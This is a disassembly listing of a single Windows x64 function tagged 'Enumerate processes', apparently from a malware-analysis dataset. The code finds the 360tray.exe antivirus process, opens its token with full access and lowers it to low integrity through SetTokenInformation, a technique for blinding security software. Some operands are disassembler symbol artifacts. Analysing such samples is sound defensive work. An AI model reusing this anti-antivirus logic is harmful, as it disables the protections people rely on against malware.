Function at 0x1401aedf0
Capabilities:
Enumerate processes

Disassembly:
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x1c0
mov qword [rsp + 0x80], 0xfffffffffffffffe
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x60], xmm0
xor r15d, r15d
mov qword [rsp + 0x70], r15
mov dword [rsp + 0x20], 0x74303633
mov dword [rsp + 0x24], 0x2e796172
mov dword [rsp + 0x28], 0x657865
mov qword [rsp + 0x58], send
mov qword [rsp + 0x50], r15
mov byte [rsp + 0x40], r15b
lea rax, [rsp + 0x20]
or r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x1401aee54
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x40]
call fcn.140005000
nop
mov edx, 1
lea rcx, [rsp + 0x60]
call fcn.140005ed0
mov rdi, qword [rsp + 0x68]
test rdi, rdi
je 0x1401aeeec
mov qword [rdi + 0x18], send
mov qword [rdi + 0x10], r15
mov byte [rdi], 0
cmp qword [rsp + 0x58], 0x10
jae 0x1401aeeb7
mov r8, qword [rsp + 0x50]
inc r8
je 0x1401aeec4
lea rdx, [rsp + 0x40]
mov rcx, rdi
call fcn.140180a20
jmp 0x1401aeec4
mov rax, qword [rsp + 0x40]
mov qword [rdi], rax
mov qword [rsp + 0x40], r15
mov rax, qword [rsp + 0x50]
mov qword [rdi + 0x10], rax
mov rax, qword [rsp + 0x58]
mov qword [rdi + 0x18], rax
mov eax, send
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x50], r15
mov byte [rsp + 0x40], 0
jmp 0x1401aeef1
mov rax, qword [rsp + 0x58]
add rdi, 0x20
mov qword [rsp + 0x68], rdi
cmp rax, 0x10
jb 0x1401aef0a
mov rcx, qword [rsp + 0x40]
call fcn.140007b08
lea rcx, [0x140226178]
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov rcx, rax
lea rdx, str.SetTokenInformation
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov qword [rsp + 0x218], rax
lea rcx, [0x140226198]
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov rcx, rax
lea rdx, str.OpenProcess
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov r13, rax
mov qword [rsp + 0x78], rax
lea rcx, [0x140226178]
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov rcx, rax
lea rdx, str.OpenProcessToken
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov qword [rsp + 0x210], rax
mov r14d, r15d
mov dword [rsp + 0x200], r15d
mov r12, qword [rsp + 0x60]
nop dword [rax]
mov rcx, rdi
sub rcx, r12
sar rcx, 5
movsxd rax, r14d
cmp rax, rcx
jae 0x1401af0e4
mov esi, r15d
mov dword [rsp + 0x90], 0x130
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.DLL_CreateToolhelp32Snapshot]
mov rbx, rax
lea rdx, [rsp + 0x90]
mov rcx, rax
call qword [sym.imp.KERNEL32.DLL_Process32First]
test eax, eax
je 0x1401af007
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0xbc]
call fcn.14018ed70
test eax, eax
je 0x1401af000
lea rdx, [rsp + 0x90]
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_Process32Next]
jmp 0x1401aefd3
mov esi, dword [rsp + 0x98]
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
test esi, esi
jne 0x1401af019
jmp 0x1401af0d4
mov r8d, esi
xor edx, edx
mov ecx, 0x1000
call r13
test rax, rax
jne 0x1401af030
jmp 0x1401af0d4
mov qword [rsp + 0x208], 0xffffffffffffffff
lea r8, [rsp + 0x208]
mov edx, 0xf01ff
mov rcx, rax
call qword [rsp + 0x210]
test eax, eax
jne 0x1401af059
jmp 0x1401af0d4
xor eax, eax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x38], eax
mov word [rsp + 0x30], 0x101
mov byte [rsp + 0x37], reloc.WS2_32.dll_recv
mov dword [rsp + 0x38], 0x1000
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x48], 0x20
lea rax, [rsp + 0x30]
mov qword [rsp + 0x40], rax
lea rcx, [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_GetLengthSid]
lea r9d, [rax + 0x10]
lea r8, [rsp + 0x40]
mov edx, 0x19
mov rcx, qword [rsp + 0x208]
call qword [rsp + 0x218]
nop
jmp 0x1401af0d4
inc r14d
mov dword [rsp + 0x200], r14d
jmp 0x1401aef90
test r12, r12
je 0x1401af120
mov rbx, r12
cmp r12, rdi
je 0x1401af118
cmp qword [rbx + 0x18], 0x10
jb 0x1401af100
mov rcx, qword [rbx]
call fcn.140007b08
mov qword [rbx + 0x18], send
mov qword [rbx + 0x10], r15
mov byte [rbx], 0
add rbx, 0x20
cmp rbx, rdi
jne 0x1401af0f1
mov rcx, r12
call fcn.140007b08
add rsp, 0x1c0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
ret